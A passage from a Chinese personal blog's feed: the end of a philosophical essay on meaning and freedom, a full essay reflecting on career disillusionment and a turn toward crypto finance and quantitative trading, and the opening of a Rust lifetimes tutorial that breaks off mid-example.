有钱就能解决所有问题吗？</h3><p><strong>财富自由只能解决金钱问题，但人生的根本困境远不止于此。</strong></p><p>财富自由可以解决物质和生活成本层面的悲观，但总有更深层次的悲观等着我们。永远会有无法做到的事情，终极目标总是难以实现。那么我们该如何生活？关键或许在于了解人生本质中的悲观元素，并学会与之共处。</p><p>这里有个事实需要接受：<strong>我们永远无法完全了解世界</strong>。</p><p>就好比我们都戴着一副眼镜，这副眼镜就是我们的大脑。我们看到的红色、听到的音乐、感受到的爱情，都是通过这副眼镜&quot;翻译&quot;过的。真正的&quot;红色&quot;是什么样？我们永远不知道。</p><p>一个学物理的朋友很沮丧地说：“越学越发现，我们对宇宙的了解可能连万分之一都不到。”</p><p>但这样想：既然搞不清楚&quot;终极真理&quot;，为什么不专注于能影响的事情呢？</p><p>我可能永远无法理解宇宙的意义，但我可以选择善待身边的人；我可能无法掌控经济周期，但我可以选择做有意义的工作。</p><p>与其追求那些够不着的&quot;绝对答案&quot;，不如专注于当下能做的事。</p><h3 id="3-2-如何在绝望中保持希望？">3.2 如何在绝望中保持希望？</h3><p><strong>真正的勇气，是看清生活的真相后依然选择热爱生活。</strong></p><p>罗曼·罗兰曾说：&quot;世界上只有一种英雄主义：就是看清生活的真相后依然热爱生活。&quot;这句话从高中时期就被我摘抄下来，但可能直到现在我才真正理解其中的含义。</p><p>我已经认识到：</p><ul><li>薪资不会无限增长</li><li>许多人日夜劳作12个小时</li><li>即使在硅谷湾区年薪30万美元，带孩子的家庭也可能捉襟见肘</li><li>疾病和死亡的不可避免</li></ul><p>但我尚未完全认识到如何在承认这些真相的基础上保持乐观。这需要一种存在主义的勇气——在荒谬中创造意义。</p><p>尼采有个很残酷的问题：<strong>如果你的人生要重复无数次，你愿意吗？</strong></p><p>想象一个精灵告诉你：“你这辈子的每个细节——每次痛苦、每次快乐、每次无聊的等地铁——都会原样重复无数次。你接受吗？”</p><p>这问题很残酷。如果你说&quot;不愿意&quot;，说明你对现在的生活不满意。如果你能说&quot;愿意&quot;，说明你找到了一种即使重复一万次也不后悔的活法。</p><p>我想起做老师的朋友，每天面对调皮学生、重复课程、微薄薪水。但她说：“如果重来，我还是选择当老师。看到学生眼中的光芒、听到’老师我懂了’，就值得了。”</p><p>这就是尼采说的理想状态——能全心拥抱自己生活的人。即使知道有痛苦、无聊、遗憾，但仍然能说：“我愿意再来一遍。”</p><p>所以与其抱怨生活不完美，不如问自己：&quot;我愿意这样的生活重复一万次吗？&quot;不愿意就改变，愿意就全情投入。</p><h2 id="4-意义的建构：从虚无到充实">4. 意义的建构：从虚无到充实</h2><h3 id="4-1-生活的意义到底是什么？">4.1 生活的意义到底是什么？</h3><p><strong>意义不在于找到标准答案，而在于选择如何回应这个世界。</strong></p><p>一种可行的方法是在现有框架内做更有建设性的事情，在边界内改变局部。当投入到刷题、刷分、刷钱的过程中，收获感和成就感确实能在一定程度上抵消那份空洞与虚无。</p><p>但更深层的问题是：什么是意义？维克多·弗兰克尔在《活出生命的意义》中提出，即使在最极端的环境中，人仍然可以选择自己的态度，这种选择本身就是意义的来源。</p><p>法国哲学家列维纳斯给出了另一个答案：意义不在于自我实现，而在于对他人的关怀。他有一个很美的表达：“当我们真正看见另一个人的面容时，就产生了责任。”</p><p>这里的&quot;面容&quot;不是指长相，而是指看见他人作为一个独特存在的脆弱性和需要。比如，当你看到地铁上一个疲惫的上班族，突然意识到他也有自己的故事、自己的困难，这时候就产生了列维纳斯说的&quot;伦理瞬间&quot;。</p><p>我曾经遇到过这样一个时刻：在深圳的一个地下通道里，看到一个拾荒老人在整理塑料瓶。那一瞬间，我突然从自己的焦虑中抽离出来，意识到眼前这个人的生活可能比我艰难得多，但他依然在努力维持自己的尊严。那种感受让我重新思考什么叫&quot;有意义的生活&quot;。</p><p>列维纳斯认为，当我们把注意力从&quot;我要怎样实现自己&quot;转向&quot;我能为他人做什么&quot;时，生活的意义就自然显现了。这不是什么高尚的道德说教，而是一种实用的智慧：关注他人的需要，往往能让我们从自我纠结中解脱出来。</p><h3 id="4-2-如何构建有意义的生活？">4.2 如何构建有意义的生活？</h3><p><strong>生活的充实感来自两个维度：体验的丰富性和创造的持久性。</strong></p><h4 id="4-2-1-体验性活动：活在当下的艺术">4.2.1 体验性活动：活在当下的艺术</h4><p>体验性活动是意义的基础层次，包含三个维度：</p><ul><li><p><strong>感官的满足</strong>：美食、美感、愉悦。这种即时满足虽然短暂，却是生命活力的直接体现。</p></li><li><p><strong>认知的拓展</strong>：接触新事物，加深对世界的理解。每一次新体验都是对自我边界的拓展。</p></li><li><p><strong>情感的连接</strong>：结交朋友、体验文化，满足人类作为社会性动物的基本需求。</p></li></ul><h4 id="4-2-2-创造性活动：超越个体的价值">4.2.2 创造性活动：超越个体的价值</h4><p><strong>真正的满足感来自于创造一些能够超越自己生命的东西。</strong></p><p>这类活动让人感到自己超越了纯粹的个体生存，与更宏大的事物建立了联系：</p><ul><li><strong>社区贡献</strong>：参与公共事务，改善他人生活</li><li><strong>知识创造</strong>：推进人类认知边界</li><li><strong>文化传承</strong>：创造和传递精神财富</li><li><strong>未来投资</strong>：为后代留下有价值的遗产</li></ul><p>这种超越感满足了人类对不朽的渴望——即使肉体会消亡，但创造的价值可以延续。</p><p>政治哲学家汉娜·阿伦特提出了一个很有启发性的分类：人类的活动可以分为三种——<strong>劳动</strong>、<strong>工作</strong>和<strong>行动</strong>。</p><p><strong>劳动</strong>就是那些为了活着而必须做的事：吃饭、睡觉、打扫卫生。这些事情做完了还要重复，就像西西弗斯推石头，永无止境。</p><p><strong>工作</strong>是创造持久东西的活动：建房子、写软件、做手工艺品。这些创造的东西可以在你之后继续存在，是人类文明的积累。一个程序员写的代码、一个建筑师设计的楼房，都属于这个范畴。</p><p><strong>行动</strong>则是最特殊的：它指的是在公共场合展现你独特性格的活动。比如，在公司会议上提出一个创新想法、在社区里发起一个公益项目、或者仅仅是在朋友圈分享一段深刻的思考。这些行动让别人认识了真正的你，可能在你离开后很久，人们还会记得&quot;那个提出有趣想法的人&quot;。</p><p>阿伦特认为，只有&quot;行动&quot;才能让人真正获得不朽——不是肉体的永生，而是在他人记忆中的永存。想想那些你记得的人，往往不是因为他们有钱或有地位，而是因为他们做了什么独特的事情，展现了什么独特的品格。</p><h3 id="4-3-意义的整合">4.3 意义的整合</h3><p>Ray Dalio认为人生应该由有意义的人际关系和有使命感的工作组成。这正好对应了上述两个方面：连接带来体验和社交满足，有使命感的工作则带来超越感和责任感。真正充实的生活需要在这两个维度间找到平衡。</p><p>两千多年前，亚里士多德就思考过什么是好生活。他提出的 <strong>“幸福论”</strong>（希腊语叫eudaimonia，更准确的翻译是&quot;flourishing&quot;，即&quot;蓬勃发展&quot;）给了我们一个经典的答案。</p><p>亚里士多德说，幸福不是你偶尔感到开心，而是一种持续的生活状态——就像一棵树长得茂盛，一个音乐家演奏得出色。这种状态需要你发挥自己的潜能，按照德性（virtues）生活。</p><p>他区分了两种活动：<strong>理论活动</strong>（比如读书、思考、研究）和<strong>实践活动</strong>（比如做决策、处理人际关系、参与社会事务）。一个充实的生活需要两者兼备。</p><p>举个例子：一个医生如果只是机械地按流程治病（工具理性），那他的工作就很空洞；但如果他能在每个具体情况中判断什么是最好的治疗方案，关心病人的感受，那他就在运用亚里士多德说的 <strong>“实践智慧”</strong>（phronesis）。</p><p>这个观点很有现实意义：现代社会确实过于强调效率和标准化，而忽视了培养判断力和同理心。难怪很多人觉得工作缺乏意义——我们被训练成了高效的机器，却忘记了如何做一个有智慧的人。</p><h2 id="5-超越二元对立：在偏见中寻找智慧">5. 超越二元对立：在偏见中寻找智慧</h2><h3 id="5-1-追求意义本身是一种偏见吗？">5.1 追求意义本身是一种偏见吗？</h3><p><strong>也许，接受意义的相对性，正是走向真正智慧的开始。</strong></p><p>归根结底，我们需要进入这个意义感的框架，并学会活在当下。</p><p>不过，从另一个角度看，这或许也是一种偏见。当我们谈论&quot;意义&quot;时，已经预设了某种价值体系，有选择性地忽略了其他可能性——比如虚无主义者的彻底否定，或享乐主义者的及时行乐。</p><p>法国哲学家德里达提出了一个颠覆性的观点：所有看似自然的&quot;意义&quot;其实都是人为建构的，而且这种建构必然要排斥其他可能性。</p><p>比如，我们社会推崇&quot;成功&quot;，但这种推崇必然意味着对&quot;失败&quot;的贬低。我们赞美&quot;努力工作&quot;，就必须贬低&quot;躺平&quot;。德里达称这为&quot;原初暴力&quot;——每当我们说某种生活方式有意义时，就在暗示其他生活方式没意义。</p><p>想想看，为什么一个朝九晚五的程序员比一个自由自在的流浪音乐人更&quot;有意义&quot;？为什么买房子比租房子更&quot;成功&quot;？这些判断标准从哪里来的？德里达会说：这些都不是天经地义的真理，而是特定社会条件下的人为建构。</p><p>认识到这一点既令人沮丧，也令人解放。沮丧的是，我们追求的&quot;意义&quot;可能只是被灌输的观念；解放的是，既然这些都不是绝对真理，我们就可以选择相信什么，追求什么。</p><h3 id="5-2-为什么我们无法逃脱偏见？">5.2 为什么我们无法逃脱偏见？</h3><p><strong>偏见不是思维的缺陷，而是人类理解世界的必要工具。</strong></p><p>每个人看世界都戴着一副&quot;眼镜&quot;——这副眼镜就是我们的价值观、经历和所处的时代。我们自以为看到的是&quot;客观事实&quot;，其实看到的都是被这副眼镜过滤后的图像。</p><p>最有趣的是：<strong>当我们批判别人有偏见时，恰恰暴露了自己的偏见。</strong></p><p>比如，一个崇尚&quot;奋斗&quot;的人会觉得&quot;躺平&quot;的人没出息；一个追求&quot;平衡&quot;的人会觉得&quot;996&quot;的人被洗脑了。但谁对谁错？其实都只是在宣传自己的生存策略。</p><p>关键在于认识到：<strong>我们无法摘下这副眼镜，只能选择戴哪副眼镜。</strong></p><p>这种认识让人谦卑，也让人自由。谦卑是因为你知道自己的认知有局限；自由是因为你可以有意识地选择自己的立场，而不是被动地接受。</p><h3 id="5-3-如何在悖论中生活？">5.3 如何在悖论中生活？</h3><p><strong>真正的智慧，是在承认所有答案都不完美的前提下，依然找到自己的路。</strong></p><p>回顾全文，我们面对的悖论贯穿始终：</p><ul><li>职场上，薪资有天花板，但我们还没想清楚除了钱还要什么</li><li>自由上，选择越多反而越焦虑，因为不知道什么值得全心投入</li><li>价值上，工作越高端越看不到真实影响，反而产生空虚感</li><li>意义上，每种价值体系都有偏见，但我们无法逃离偏见</li></ul><p>那么，如何在这些悖论中生活？</p><p><strong>第一，接受不完美。</strong><br>世界上没有完美的工作、完美的自由、完美的意义体系。与其追求不存在的完美，不如在现有条件下寻找属于自己的平衡点。</p><p><strong>第二，创造个人价值。</strong><br>既然现代分工让我们看不到工作的整体价值，那就在工作之外创造能直接感受到的价值——可能是写作、教学、做公益，或者仅仅是好好陪伴家人。</p><p><strong>第三，保持清醒但不犬儒。</strong><br>犬儒主义就是&quot;既然一切都没意义，那就什么都不做&quot;的态度——看透了世界的虚假，然后选择冷嘲热讽，拒绝投入。但这种态度最终只会让人变得麻木和空虚。</p><p>更好的选择是：知道所有意义都是相对的，但依然选择相信某些东西；知道偏见不可避免，但依然保持开放；知道生活有局限，但依然努力创造。</p><h2 id="6-结语：在日常中寻找超越">6. 结语：在日常中寻找超越</h2><p><strong>人生的意义不在远方，就在每一个平凡的当下。</strong></p><p>写到这里，我想起开头提到的那些焦虑：薪资天花板、职场竞争、房贷压力、自由困境。这些问题依然存在，但经过这番思考，我看待它们的角度变了。</p><p>或许，<strong>我们一直在问错问题</strong>。</p><p>不是&quot;人生有什么终极意义&quot;，而是&quot;今天我能创造什么意义&quot;。<br>不是&quot;怎样才算成功&quot;，而是&quot;什么样的生活让我觉得值得&quot;。<br>不是&quot;如何获得绝对自由&quot;，而是&quot;在现有条件下如何活出自己&quot;。</p><p>西西弗斯的故事告诉我们，即使在看似无意义的重复中，也能找到属于自己的节奏和价值。但比这更重要的是：<strong>每一次推石头都是独一无二的</strong>——今天的你和昨天不同，今天的世界和昨天不同，今天的体验和昨天不同。</p><p>所以，与其纠结于宏大的人生意义，不如关注具体的生活本身：</p><ul><li>那个让你会心一笑的代码片段</li><li>那顿和朋友一起吃的火锅</li><li>那个终于调通的bug</li><li>那次深夜的思考和顿悟</li></ul><p>这些看似微不足道的瞬间，构成了我们真实的生活。而生活的意义，就藏在这些日常的细节里。</p><p><strong>最后，我想说：</strong></p><p>在这个充满不确定性的时代，能够保持思考本身就是一种勇气。我们可能永远找不到完美的答案，但在寻找的过程中，我们变得更加清醒、更加真实、更加勇敢。</p><p>这，或许就是现代人的英雄主义——不是征服世界，而是在认清生活真相后，依然选择认真地活着。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/career/pursuit-of-meaning-and-freedom/</id>
    <link href="https://www.blog-blockchain.xyz/career/pursuit-of-meaning-and-freedom/"/>
    <published>2025-05-01T04:11:20.000Z</published>
    <summary>本文深入思考现代社会中的职场天花板、薪资焦虑与自由概念。作者以个人视角剖析物质追求与精神满足的平衡，探讨体验性与建设性活动如何构建生活意义。文章通过对比不同价值观，展现了在承认生活本质悲观性的同时，依然寻找热爱生活勇气的哲学思考。</summary>
    <title>在追寻意义中找寻自由：现代社会中的生存哲学</title>
    <updated>2026-02-19T16:18:01.140Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="life" scheme="https://www.blog-blockchain.xyz/categories/life/"/>
    <category term="life" scheme="https://www.blog-blockchain.xyz/tags/life/"/>
    <content>
      <![CDATA[<p>我经常在思考自己要怎样的生活。</p><p><img src="https://cdn.blog-blockchain.xyz/2025/04/4f93c7d9a0c3628ac37db9606c1dca24.png" alt="无标题-2025-01-01-2111"></p><h2 id="1-理想的破灭：为什么高大上的职业梦想会幻灭？">1. 理想的破灭：为什么高大上的职业梦想会幻灭？</h2><p><strong>我们对&quot;成功&quot;的想象，往往来自于外在的符号和他人的期待，而非内心的真实需求。</strong></p><p>在高中时看着书里的美国大公司高管，全世界飞去谈商务，在飞机里打开自己的电脑工作，以为这很帅。因为那显得自己有社会地位、在牛逼的公司的核心项目，与优秀的人共事，学习前沿的技术和视野。这种想象如同柏拉图洞穴中的影子——我们把投射在墙上的光影当作了真实。</p><p>大四因为学术表现和编程技术能力优秀，直接去了学术大牛的实验室，全职当作博士培养了一年。后来我因为希望更加贴近行业，从商业视角和业务角度看待crypto，而非一行行代码，选择去了金融科技公司。但正是在这个过程中，<strong>理想与现实的碰撞开始撕裂我对职业的浪漫想象。</strong></p><p><strong>时间是最残酷的老师，它会让所有虚假的光环褪色。</strong> 看了《资治通鉴》里的故事，权倾一时的人物只有短短几句的死法描述，这让我深感世事无常，功名利禄终是虚幻。开始发现《百万富翁快车道》里慢车道的工作本质（即那种用时间换取金钱，缺乏杠杆和被动收入的模式）。</p><p>渐渐地，我开始看到这些&quot;成功象征&quot;背后的真相：</p><ul><li>切身感受到公司运转、业务的开展，以及个人在其中的发展节奏</li><li>理解学术论文里的参差不齐，并非所有发表都具有同等价值</li><li>认识到赚钱和时机关系很大，并非完全取决于个人努力</li><li>理解忽悠、观念如何影响市场，学会观察社会和人性的复杂</li></ul><p>尤其是生命的短暂和脆弱，让我对时间的价值有了新的认知。<strong>当死亡的阴影提醒我们生命的有限性时，那些外在的成功符号突然变得苍白无力。</strong></p><h2 id="2-商业组织的本质：为什么人会变成-生产力-？">2. 商业组织的本质：为什么人会变成&quot;生产力&quot;？</h2><p>于是那种看着很忙，自己却陷在许多非核心甚至重复性、替代性高的事情中的生活状态，并不是我真正想要的。这让我开始思考商业组织的根本逻辑：<strong>组织存在的目的，是为了通过协调分工来创造超越个人能力的价值，但在实际运作中，它必然会将复杂的人简化为功能性的角色。</strong></p><p><strong>为什么会出现这种简化？</strong> 因为组织需要协调成千上万人的行为，而每个人都有不同的想法、需求、情绪和目标。如果让每个人都按照自己的想法行事，组织就会陷入混乱。所以组织必须建立标准化的流程、明确的职责分工和统一的目标导向。</p><p>想象一家工厂的流水线：每个工人只负责拧一颗螺丝，他们不需要理解整个产品，不需要关心用户体验，只需要高效地重复同一个动作。这种分工极大地提高了生产效率，但同时也将工人从完整的创造过程中抽离出来。现代知识型企业虽然看起来更&quot;人性化&quot;，但本质逻辑并没有改变——程序员写代码、产品经理做需求、销售谈客户，每个人都在自己的专业领域内被最大化利用。</p><p><strong>这样做的后果是什么？人的复杂性和完整性被切割了。</strong> 你的个人兴趣、情感需求、创造冲动、学习欲望——这些&quot;多余&quot;的人性因素都被组织的效率要求所压制。你不再是一个完整的人，而是组织这台大机器上的一个标准化零件。当组织说要&quot;发挥你的专业优势&quot;时，实际上是在说&quot;请忽略你作为人的其他面向&quot;。</p><p><strong>我观察到，这种&quot;人性的工业化处理&quot;主要通过三种方式实现：</strong></p><ol><li><p><strong>技能的模块化</strong>：将复杂的人才分解成可替换的技能组合。就像手机的零部件一样，坏了一个就换一个，不需要理解整台设备的工作原理。</p></li><li><p><strong>时间的商品化</strong>：用工作时长来衡量和购买人的价值。你的创造力、灵感、情感投入都被简化为&quot;每小时多少钱&quot;的计算公式。</p></li><li><p><strong>责任的分散化</strong>：让个人只对局部结果负责，避免对整体的质疑。你只需要完成自己的KPI，不需要思考这个KPI是否合理，不需要关心公司的长远发展。</p></li></ol><h2 id="3-利益分配的逻辑：谁决定你的价值？">3. 利益分配的逻辑：谁决定你的价值？</h2><p><strong>组织的本质，是一群人为了共同追求商业利益而聚集，但利益分配的权力往往掌握在少数人手中。</strong></p><p>我进一步理解了商业社会的分配逻辑：<strong>创始人或管理层拥有制定规则的权力，他们根据商业重要性安排大多数人的任务和回报。</strong> 这不是阴谋，而是组织运作的必然结果——必须有人对整体业务负责，必须有人做出资源配置的决策。</p><p>任务有重要性、回报率的区分，这都是生意的需求，讲究的是商业利益驱动。而员工的薪资福利，很大程度上来自老板们为争夺劳动力以增强生意竞争力而产生的市场竞争。<strong>这就形成了一个悖论：你的价值不是由你的努力决定的，而是由市场对你这类技能的供需关系决定的。</strong></p><p>马克思早就指出，在资本主义生产关系中，劳动者与劳动成果的分离是必然的——你生产的价值并不属于你，你只是获得维持再生产的工资。一个程序员可能写出了价值百万的代码，但他只能得到市场工资；一个销售可能带来千万收入，但大部分利润仍然归公司所有。</p><h2 id="4-管理的铁笼：为什么-执行力-成了思考的敌人？">4. 管理的铁笼：为什么&quot;执行力&quot;成了思考的敌人？</h2><p><strong>现代企业管理的核心矛盾：它需要人的创造力，却害怕人的不可控性。</strong></p><p>韦伯所说的理性化官僚制，在提高效率的同时，也将人困在了&quot;铁笼&quot;之中。这种管理逻辑追求的是可预测性、可控制性和可计算性，它需要将不确定的人性因素降到最低。<strong>当管理者说&quot;执行力&quot;时，他们实际上在说&quot;请不要思考，只要照做&quot;。</strong></p><p><strong>这种管理哲学背后有一个假设：人是不可信的，必须通过制度来约束。</strong> 所以我们看到：</p><ul><li>繁复的审批流程，确保每个决定都被监督</li><li>详细的工作汇报，确保每个小时都被追踪</li><li>严格的绩效考核，确保每个行为都被量化</li></ul><p>但讽刺的是，越是试图控制人性，人性就越会以扭曲的方式反弹。员工学会了应付考核而不是专注工作，学会了完成指标而不是创造价值，学会了讨好上级而不是服务客户。<strong>管理制度本来是为了解决问题，结果却制造了更多问题。</strong></p><h2 id="5-过度榨取的恶性循环：为什么-更努力-带来-更糟糕-？">5. 过度榨取的恶性循环：为什么&quot;更努力&quot;带来&quot;更糟糕&quot;？</h2><p><strong>当组织追求短期效率最大化时，往往会触发长期的效率递减。</strong></p><p>当追求更高的利润、更快的增长时，公司会倾向于要求员工投入更多时间和精力，甚至牺牲个人生活。这背后的逻辑看似合理：既然人力成本是固定的，那么通过延长工作时间来提升产出就是最直接的方法。</p><p><strong>但这种逻辑忽略了一个关键事实：人不是机器。</strong> 当你过度使用一个人时，就会出现边际效用递减：</p><ul><li><strong>创造力枯竭</strong>：长期高压工作会消耗大脑的创新能力</li><li><strong>错误率上升</strong>：疲劳状态下的决策质量下降</li><li><strong>离职率攀升</strong>：优秀员工会用脚投票</li></ul><p><strong>这就形成了一个恶性循环：越是追求短期效率，越是损害长期竞争力。</strong> 员工感受到成为&quot;工具人&quot;，这就是马克思所说的异化——人与自己的劳动成果、劳动过程都产生了疏离。</p><h2 id="6-末位淘汰的制度陷阱：为什么-优胜劣汰-制造了-劣币驱逐良币-？">6. 末位淘汰的制度陷阱：为什么&quot;优胜劣汰&quot;制造了&quot;劣币驱逐良币&quot;？</h2><p><strong>末位淘汰制度的本意是激发竞争，但在实际执行中往往产生反向激励。</strong></p><p>这种制度会阻碍长周期的创新，因为<strong>短期绩效考核与长期创新需求之间存在根本冲突——你无法要求一个今天就要交KPI的人去做可能三年后才有结果的创新。</strong></p><p>更严重的是，它容易在内部打造&quot;山头&quot;和派系。员工为了不被淘汰更加紧密地&quot;抱团取暖&quot;，将压力转移到边缘和新成员身上，阻碍跨部门协作。<strong>这就像用抗生素治疗感冒——不仅无效，还会产生抗药性。</strong></p><p><strong>最终留下的往往不是最优秀的人，而是最没有选择权的人。</strong> 有能力的员工会选择更健康的平台，频繁的淘汰导致组织知识断层。</p><h2 id="7-使命感的包装术：为什么公司文化常常言不由衷？">7. 使命感的包装术：为什么公司文化常常言不由衷？</h2><p><strong>当理想被商业利益绑架时，使命感就变成了一种精神控制的工具。</strong></p><p>这进一步让我意识到，那种教科书里充满&quot;使命感&quot;的工作，在现实商业环境中实际上是很难真正实现的。每一个公司都会有漂亮的使命愿景陈述，但在强大的商业利益驱动和激烈竞争压力下，生存和盈利往往会优先于那些抽象的&quot;使命&quot;。</p><p><strong>现代职场中最大的讽刺，就是用崇高的词汇来描述最平庸的工作。</strong> 作为个人，尤其在大型组织里，很难直接感受到自己具体执行的、重复性的、技术性的任务，到底和公司宏大的使命愿景有多大关系。</p><p><strong>当生存成为首要任务时，使命感就变成了奢侈品。</strong> 在高压、不确定性的工作环境下，员工的首要&quot;使命&quot;往往变成了生存、保住工作和达成短期指标。</p><p>许多公司喜欢用&quot;使命感&quot;来包装其服务商业利益的核心目标，而员工在这种包装和现实行为的落差下，反而容易陷入犬儒主义（认为&quot;既然一切都是虚假的，那就什么都不相信&quot;的态度）。</p><h2 id="8-觉醒的代价：当你看清真相后该怎么办？">8. 觉醒的代价：当你看清真相后该怎么办？</h2><p><strong>从外在期待的绑架中解脱出来，才能听到内心真实的声音。</strong></p><p>从学术的纯粹到商业的现实，再结合对历史、商业本质和人性的深入认知，让我清晰地看到了理想与现实之间的巨大落差。<strong>这种觉醒并非悲观的幻灭，而是智慧的开始——当你看清楚游戏规则后，就能选择适合自己的玩法。</strong></p><p><strong>但觉醒是有代价的。</strong> 当你不再相信那些华丽的包装，不再被外在的成功符号所迷惑时，你必须面对一个更加孤独但也更加真实的选择：到底什么是你真正想要的生活？</p><p><strong>大多数人宁愿活在美丽的谎言中，也不愿面对残酷的真相。</strong> 因为真相意味着责任——你不能再把不满归咎于公司、老板或制度，你必须为自己的选择负责。</p><p>所以，我变得更加清醒和务实，不再轻易被表面的光鲜或理想化的描述所迷惑。这让我能够更清晰地思考自己真正想要的生活到底是什么，以及如何通过更适合自己的方式去实现它。</p><h2 id="9-重新定义成功：从外在期待到内在驱动">9. 重新定义成功：从外在期待到内在驱动</h2><p><strong>真正的成功，不是达到别人的期待，而是活出自己的天赋。</strong></p><p><strong>认识自己的能力边界，就是找到自由的开始。</strong> 我发现自己真正的兴趣和特长在于系统设计、战略思考、量化分析、风险管理和投资策略等方面，对这些领域很感兴趣，并且喜欢在实践中不断学习和迭代。</p><p>✅ <strong>我的分析思维和逻辑能力</strong>，让我在理解金融模型和捕捉市场情绪方面有优势。</p><p>✅ <strong>我的系统性思维</strong>，使我更容易观察到不同事物和模式之间的关联，看到整体而非孤立的点。</p><p>✅ <strong>我善于识别系统中的关键效率问题</strong>和潜在的改进之处。</p><p>于是，我发现自己真正适合去做以下事情：</p><p>✅ <strong>深入区块链金融系统</strong>，不仅理解其系统设计，更参与其中，比如设计套利或风险控制策略，根据系统特性寻找并把握机会。这是一个需要不断探索和试错的领域。</p><p>✅ <strong>尝试去做量化交易</strong>，不仅仅是技术实现，更重要的是研究和寻找能够解释或预测市场行为的因子，比如宏观经济数据、市场情绪指标、筹码分布等。</p><p>✅ <strong>进行主动的风险管理</strong>，寻找那些风险与收益不对称、存在优势的&quot;风险收益对&quot;，然后通过主动的仓位管理和策略调整来控制风险，从而获得超额收益。</p><p><strong>最终我明白了：我喜欢像&quot;兔子洞&quot;一样充满未知和深度的领域，它有足够的复杂性、挑战性，同时也能带来丰厚的回报，并且最重要的是，这符合我个人的兴趣和追求。</strong></p><p>以前学计算机、学区块链、学金融、学量化，很多时候是听别人说这些领域高端、赚钱多。但是现在我更加觉得，这些方向不仅仅是赚钱的工具，更是适合我个性、能够让我持续投入并享受其中的生活方式。</p><p><strong>当工作成为表达自我的方式时，它就不再是工作，而是生活本身。</strong> 这或许就是我在理想与现实之间找到的那条属于自己的道路——不是逃避组织的局限性，而是在理解游戏规则的基础上，找到最适合自己天赋和兴趣的生存方式。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/career/Career-and-Life-Between-Ideal-and-Reality/</id>
    <link href="https://www.blog-blockchain.xyz/career/Career-and-Life-Between-Ideal-and-Reality/"/>
    <published>2025-04-20T19:22:20.000Z</published>
    <summary>作者反思从理想化职业观到认清商业现实的心路历程，揭示组织弊端与个人困境。最终，他发现自身兴趣与优势在于区块链金融、量化分析及风险管理，并视其为真正适合的生活方式。</summary>
    <title>我对职场和人生的思考：在理想与现实之间</title>
    <updated>2026-02-19T16:18:01.140Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="rust" scheme="https://www.blog-blockchain.xyz/categories/rust/"/>
    <category term="rust" scheme="https://www.blog-blockchain.xyz/tags/rust/"/>
    <content>
      <![CDATA[<h2 id="生命周期规则">生命周期规则</h2><p>我们先了解这里约束的是什么，建议直接去看英文原版的官方写的rust book。生命周期是变量从创建到销毁的有效区间。</p><ul><li><p>在函数参数和返回值约束中，有相同生命周期的参数’a的变量x,y,z，意味着存在一个 ‘a 区间，使得x,y,z三个变量都是有效的，也即这个区间的初始点是所有变量创建时初始点中最靠后的，结束点是所有变量销毁时的结束点中最靠前的。</p></li><li><p>结构体定义中的生命周期注释，是数据引用的生命周期，表示结构体的生命周期在引用的生命周期之内，也是通过求解找到区间。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">ImportantExcerpt</span>&lt;<span class="symbol">&#x27;a</span>,<span class="symbol">&#x27;b</span>,<span class="symbol">&#x27;c</span>,<span class="symbol">&#x27;d</span>,<span class="symbol">&#x27;e</span>&gt; &#123;</span><br><span class="line">    part1: &amp;<span class="symbol">&#x27;a</span> <span class="type">str</span>,</span><br><span class="line">    part2: &amp;<span class="symbol">&#x27;b</span> <span class="type">str</span>,</span><br><span class="line">    part3: &amp;<span class="symbol">&#x27;c</span> <span class="type">str</span>,</span><br><span class="line">    part4: &amp;<span class="symbol">&#x27;d</span> Me&lt;<span class="symbol">&#x27;e</span>&gt;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Me</span>&lt;<span class="symbol">&#x27;a</span>&gt;&#123;</span><br><span class="line">    part5: &amp;<span class="symbol">&#x27;a</span> <span class="keyword">mut</span> Me&lt;&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>根据规则，我们知道结构体的生命周期，在 a 到 e的交集中。其中潜在的 生命周期d也应该在e之中，因为这是 Me 结构体的约束。至于a,b,c三者之间，没有互相的约束。</p></li><li><p>对于结构体实现的声明周期（impl后面的），其实就是结构体中引用数据的生命周期，和方法中参数的生命周期没有联系。</p></li></ul><p>生命周期还有3条推导规则。注意术语： <em>input lifetimes</em>和<em>output lifetimes</em>，表示参数和返回值。</p><ol><li>在函数中，每个引用参数分配一个生命周期参数。</li><li>如果只有一个<em>输入生命周期参数</em>，则该生命周期将分配给所有<em>输出生命周期参数</em>。</li><li>方法的第一个参数，除非是new方法，一般是 <code>&amp;self</code> <code>&amp;mut self</code> <code>self</code> <code>Box&lt;self&gt;</code>、<code>Rc&lt;self&gt;</code>等。那么如果是 <code>&amp;self</code> <code>&amp;mut self</code>，它的生命周期分配给所有参数。</li></ol><h2 id="循环引用">循环引用</h2><p><a href="https://course.rs/compiler/fight-with-compiler/lifetime/too-long1.html">https://course.rs/compiler/fight-with-compiler/lifetime/too-long1.html</a></p><p>这个例子最大的特殊点在于，我们平常都是函数、结构体、方法中引用数据的生命周期是单独介绍的。但是这里搞复杂了，增加了各种奇怪的约束，比如说我们看一些组合起来的写法。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; List&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_interface</span>(&amp;<span class="symbol">&#x27;a</span> <span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> Interface&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在方法中 <code>&amp;'a mut self</code>，实际上参数是 <code>&amp;'a mut List&lt;‘a&gt;</code> 类型 。因为方法可以写成函数</p><figure class="highlight 